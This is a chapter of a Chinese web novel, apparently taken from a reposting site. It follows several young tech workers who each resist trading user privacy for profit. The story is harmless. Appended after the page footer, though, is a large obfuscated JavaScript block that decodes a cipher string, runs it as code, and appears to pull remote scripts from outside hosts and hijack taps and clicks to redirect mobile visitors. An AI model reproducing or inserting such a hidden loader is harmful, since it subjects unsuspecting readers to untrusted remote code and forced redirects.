首页
前传 第179章 众人独行,
返回
关灯 护眼:关 字号:小

前传 第179章 众人独行,各自守心

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    前传第179章众人独行,各自守心(第1/2页)
    城市的秋天来得悄无声息。
    梧桐树叶被秋气浸成浅黄,一片片落在软件园宽阔的柏油路上。这座聚集了无数互联网、科技企业的园区,白日里永远人声鼎沸,写字楼玻璃幕墙反射着刺目的日光,无数代码、方案、商业计划书在一栋栋楼宇之间流转。人人都在追逐风口,追逐估值,追逐资本抛来的橄榄枝。
    可喧嚣底下,总有一部分人,走在人群之外,守着旁人难以理解的分寸与底线。
    这一年,距离龙胆科技正式成立,还有整整三年。
    龙胆草坐在园区外临街的长椅上,手里捧着一杯已经凉透的速溶咖啡。
    身上还是大厂程序员最常见的装束,简单的灰色连帽卫衣,牛仔裤,帆布包边角磨出淡淡的毛边。帆布包里面装着笔记本,厚厚的打印资料,还有一沓他跑遍大小城市调研得来的用户访谈记录。
    已经是傍晚六点半,园区下班的人流一波波涌出来。年轻的工程师、产品经理、运营人员三三两两说笑,讨论着新版本迭代、KPI完成度、下一轮融资的传闻。脚步声、谈笑声、共享单车的铃铛声交织在一起,热闹鲜活。
    龙胆草没有动。
    他望着眼前灯火次第亮起的写字楼,眼底是一份与周遭热闹格格不入的沉静。
    过去三年大厂浮沉,磨去了他学生时代一部分莽撞的锐气,却没有磨掉心底那一点执拗的理想。
    刚刚结束的部门会议还历历在目。
    业务负责人在会上再一次提出方案,希望利用用户授权的灰色地带,采集更多的行为数据,用来做精准商业推送。收益测算表摊在会议桌上,数字很漂亮,能够直接拉高部门季度营收,给所有人带来绩效奖金。
    会上不少人点头附和,觉得行业皆是如此,大家都在这么做,没必要死抠那一点虚无缥缈的道德底线。
    只有他,再一次明确提出反对。
    “用户的授权边界不能打擦边球。我们拿了不该拿的数据,短期换来收益,代价是无数普通人的隐私。”
    他的声音不算激昂,却字字清晰。
    可这份坚持,在追逐业绩的会议室里,显得格外不合时宜。
    领导的眼神已经带上几分不耐,同事私下投来的目光也五味杂陈。有人敬佩,更多的是觉得他过于书生气,不懂职场现实。会议最后,方案被暂时搁置,却不是因为认同他的观点,仅仅是权衡利弊之后的缓兵之计。
    走出会议室那一刻,龙胆草心里清楚,有些裂痕已经实实在在摆在那里。
    资本的逻辑永远简单粗暴:流量优先,变现优先,收益优先。至于普通用户看不见的隐私风险,很多时候只是可以被牺牲的次要选项。
    他翻开膝头的笔记本,上面密密麻麻写满调研记录。
    有普通上班族,因为信息泄露,无休止接到骚扰推销电话;有刚毕业的女孩子,个人信息被倒卖,遭遇无休止的跟踪骚扰;有老人,隐私数据泄露之后被电信诈骗盯上,积蓄付诸东流。每一段文字背后,都是一个个真实的普通人。
    这些案例,在行业报告里,往往只是一行微不足道的风险备注。
    可落在具体的人身上,就是实实在在的苦难。
    “技术,到底该用来做什么。”
    龙胆草低声自语,秋风卷起几片梧桐叶,落在笔记本纸页上。
    他手握旁人羡慕的岗位,薪资优厚,前途明朗,只要顺着行业的规则随波逐流,完全可以过得安稳体面。可心底那道坎,始终跨不过去。
    他已经在悄悄筹备创业的前期调研。
    国产数据安全赛道,放眼望去,大多企业要么服务于大型政企,高高在上;要么打着安全的幌子,背地里依旧倒卖用户数据,借保护之名行收割之实。真正愿意沉下心,站在普通用户立场,做纯粹隐私防护的团队,寥寥无几,近乎一片空白。
    这条路很难。
    没有资本加持,没有现成的渠道,要对抗的是整个行业已经形成的潜规则。
    无数个深夜,他也会自我怀疑。自己一个人的理想,真的能够对抗整个行业的逐利惯性吗?万一失败,耗尽积蓄,浪费几年光阴,又该如何收场。
    可每当翻看这些访谈记录,那些普通人无助的诉说,又会把他的犹豫一点点压下去。
    不是看到希望才去坚持,而是坚持下去,才有可能看见希望。
    他合上笔记本,把落叶轻轻拂开,站起身。远处的写字楼灯火通明,那是无数人的名利场,而他,已经在悄悄为自己的另一条路,积蓄力量。
    同一时刻,城市另一头,顶尖互联网集团的高层办公区。
    曹辛夷站在巨大的落地窗前,俯瞰脚下万家灯火。
    一身剪裁利落的通勤套装,长发挽起,眉眼清醒锐利。今年的她,不过二十四岁,已经坐到集团核心业务的运营实权岗位,是业内小有名气的高管苗子。
    这些年,她见过太多危机,处理过数不清的公关风波。企业爆出用户隐私泄露,产品出现重大bug,合作方背信弃义,舆论汹汹来袭,每一次,都是她冲在最前面,拆解困局,稳住局面。
    外人看到的,是她杀伐果决,手段老练,年纪轻轻便平步青云。却很少有人看见光环背后的疲惫。
    刚刚结束一场持续三个小时的谈判。
    合作方明知道产品存在隐私层面的瑕疵,却为了抢占市场,希望集团可以暂时掩盖问题,先把规模做起来,后续再慢慢修补。只要数据不发生大规模恶性泄露,就可以当作无事发生。
    谈判桌上,筹码来回拉扯,利益算得清清楚楚。
    曹辛夷据理力争,要求对方必须留出足够的整改窗口期,不能拿用户权益当做扩张的牺牲品。谈判谈得十分艰难,对方步步紧逼,言语之间不断暗示,在商业世界,过分讲原则就是一种幼稚。
    最后,双方各退一步,勉强达成协议。
    送走合作方,偌大的办公室只剩下她一个人。
    桌上摊开厚厚的报表,漂亮的增长曲线,节节攀升的用户规模,亮眼的商业预期。可曲线背后,藏着无数被刻意淡化的风险。
    高位,往往是孤独的。
    周围所有人都在谈估值、谈扩张、谈市场占有率。可很少有人愿意停下来,问一句,这样的增长,代价是什么。
    她不是不懂得商业游戏规则。从踏入职场的第一天起,她就见识过人情冷暖,见识过资本的凉薄。她懂得博弈,懂得妥协,懂得在复杂的局面里争取最大利益。
    但妥协,不等于放弃全部底线。
    这些年,她见过太多原本怀揣理想的人,一步步被环境同化。最初的坚持一点点退让,最后彻底融入洪流,把一切都换算成商业利益。
    曹辛夷端起玻璃杯,喝了一口温水。
    这些日子,她心里的倦怠感越来越重。
    就算自己一次又一次力挽狂澜,修补漏洞,可只要整个体系底层的逻辑不变,类似的问题依旧会源源不断地冒出来。她像一个不停补窟窿的人,疲于奔命,却很难从根源改变什么。
    (本章未完,请点击下一页继续阅读)前传第179章众人独行,各自守心(第2/2页)
    她偶尔会在行业论坛、技术分享会上,留意那些不一样的声音。那些不追逐风口,一心想要做真正有用技术的人。
    她在等待一个可能性。
    或许,不一定非要困在这套成熟又冰冷的大企业体系之内。
    窗外晚风掠过城市楼宇,万千灯火闪烁,她眼底的那份初心,没有被繁华淹没,依旧滚烫。
    软件园深处,一间不大的民宅改造工作室。
    没有豪华的办公场地,两张旧书桌,几台高性能工作站,书架上堆满密码学、加密算法相关的专业书籍。屋子里安静得几乎听不到多余的声响,只有主机风扇持续的低鸣。
    姚浮萍坐在屏幕之前,指尖飞快敲击键盘。
    长长的刘海垂下来,遮住大半张脸,她对外界周遭的喧嚣仿佛浑然不觉,整个心神全部沉浸在代码构筑的世界里。
    旁边,姚厚朴泡了两杯热茶,轻轻放在桌面上,不去打扰妹妹的思路,只是安静坐在另一台电脑前,核对算法的底层逻辑。
    兄妹二人,还在打磨那一套属于他们的初代加密算法雏形。
    算法已经可以完成基础的加密、溯源防护,性能一次次迭代优化。他们坚持免费对外小范围测试,不急于变现,不接受资本的裹挟。
    之前找上门的资本方,开出的条件十分诱人。只要稍微修改算法定位,适配商业产品的变现需求,资本可以立刻给到一笔可观的投资,迅速把项目做大,名利唾手可得。
    姚浮萍几乎没有犹豫,直接拒绝。
    在她的认知里面,技术是一把刀,可以用来守护,也可以用来伤害。她不愿意自己呕心沥血写出来的加密底层,最后沦为资本收割用户的工具。
    “哥,这里的容错模块,我又改了一版。”
    姚浮萍终于停下敲击键盘,侧过头看向姚厚朴,眼睛里面带着纯粹的光亮,没有世俗的功利,只有对技术本身的专注。
    姚厚朴凑过来,仔细审阅屏幕上的代码,一边看一边轻声说道:“逻辑很漂亮,但是要考虑现实环境,现实之中设备参差不齐,部分老旧终端,可能会出现运行卡顿。理想的算法,也要能够落地到普通人的设备上面。”
    他永远扮演那个平衡的角色。妹妹负责仰望技术理想,他负责把理想拉回现实地面。
    姚浮萍点点头,没有执拗争辩,安静记下这个问题。
    “我定下的准则,不会变。技术向善,终身不改。”少女的声音很轻,却无比坚定。
    姚厚朴看着妹妹,心里清楚,这不是一时冲动的口号。是她见过算法被滥用之后,在心底立下的誓言。
    外面的世界,资本蜂拥而至,各行各业都在追逐快钱。而这间小小的工作室里,两个年轻人,守着一行行代码,守着一份旁人难以理解的纯粹。
    城市另一边,一家中等规模互联网企业的人力资源办公室。
    天色已经暗下来,办公室大部分员工已经下班,只有九里香还坐在工位上。
    桌面上摊开厚厚的员工访谈记录,手写的职场手记写满了整整两个笔记本。
    今天她又接待了一名前来倾诉的基层员工。
    新人被直属领导无端甩锅,明明不是自己的失误,却要承担全部批评,不敢公开反抗,害怕之后被穿小鞋,只能私下找HR倾诉委屈。
    这样的事情,她见得太多。
    职场PUA,论资排辈,新人背锅,制度僵化,中层为了KPI不顾员工处境。很多不公,明明所有人都看在眼里,却因为多一事不如少一事的心态,大家选择沉默。
    九里香耐心听完员工全部的委屈,按照公司现有流程,做了记录,尝试向上反馈。可旧的体系根深蒂固,很多问题,仅凭她一个HR的力量,只能够做到微小的破冰,很难彻底根除。
    她把今天的经历,一字一句写进职场手记。
    这么多年深耕人事一线,帮扶过很多处境艰难的新人,也一次次和职场陋习做对抗。她渐渐明白,真正好的管理,从来不是管控人,而是尊重人。
    可想要推动整个体系的革新,力量还远远不够。
    她合上笔记本,望向窗外沉沉暮色。
    她还在积攒经验,积攒口碑,等待一个可以大刀阔斧改革的时机。不需要轰轰烈烈,只求能够构建一个更加公平、有人情味的职场环境。
    人事的工作,看似无声,温柔之下,自有力量。
    城郊一处安静的居民小区。
    没有热闹的行业聚会,没有资本酒会,林晚就安安静静待在自己的小公寓。
    房间陈设简单,书架上摆满数据安全相关的专业书籍。
    那场毁灭性的项目事故已经过去很久,行业封杀的影响慢慢淡化,可留在心底的阴影,没有完全消散。
    曾经的明媚张扬被磨平,她变得内敛沉默。
    这些年,她没有追逐风口,没有争抢高薪岗位,沉下心复盘当年的全部失误,打磨专业能力。经历过替罪的至暗时刻,她比从前更加敬畏技术的重量。
    她开始格外关注普通用户的处境。很多普通人不懂复杂的网络防护,在数据泄露面前毫无还手之力。
    一个念头在心底慢慢生根发芽:做数据安全公益科普。把专业知识,转化成普通人听得懂的内容,守护更多缺乏防护能力的普通人。
    她偶尔会写一些科普短文,发布在小众技术论坛,不求流量,不求名气,只是安安静静输出。
    心理的创伤不会一夜痊愈,她依旧会在深夜被过去的噩梦侵扰,依旧会害怕再次犯下重大错误。但她不再一味逃避,学着直面心底的阴影,一点点完成自我对峙与自我治愈。
    专业能力,在沉默的沉淀之中,一点点重回行业一线的视野。
    城市各个角落,他们还互不相识。
    龙胆草在大厂之内挣扎,悄悄规划创业之路;曹辛夷身居高位,却厌倦资本游戏;姚浮萍兄妹守着小小工作室,打磨初代加密算法;九里香在人事岗位,见证职场百态,静待革新时机;林晚在自我救赎的道路上,缓慢前行。
    每个人走在属于自己的道路,经历各自的困顿与坚守。
    而在看不见的地方,荆棘科技正在野蛮扩张。
    低价抢占市场,窃取小团队的技术成果,漠视用户隐私安全,一切向利益看齐。海外资本也已经悄悄入局,开始布局国内科技行业,伺机觊觎国内本土技术成果。
    逐利派与初心派,阵营的分化已经悄然成型。
    风暴,正在酝酿。
    他们尚且山河未遇,还没有汇聚成一支完整的团队。
    可隔着城市的重重楼宇,隔着人海茫茫,他们心中那份对技术向善的坚守,却向着同一个方向。
    众人独行,各自守心。
    风雨将至,只待来日相逢。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();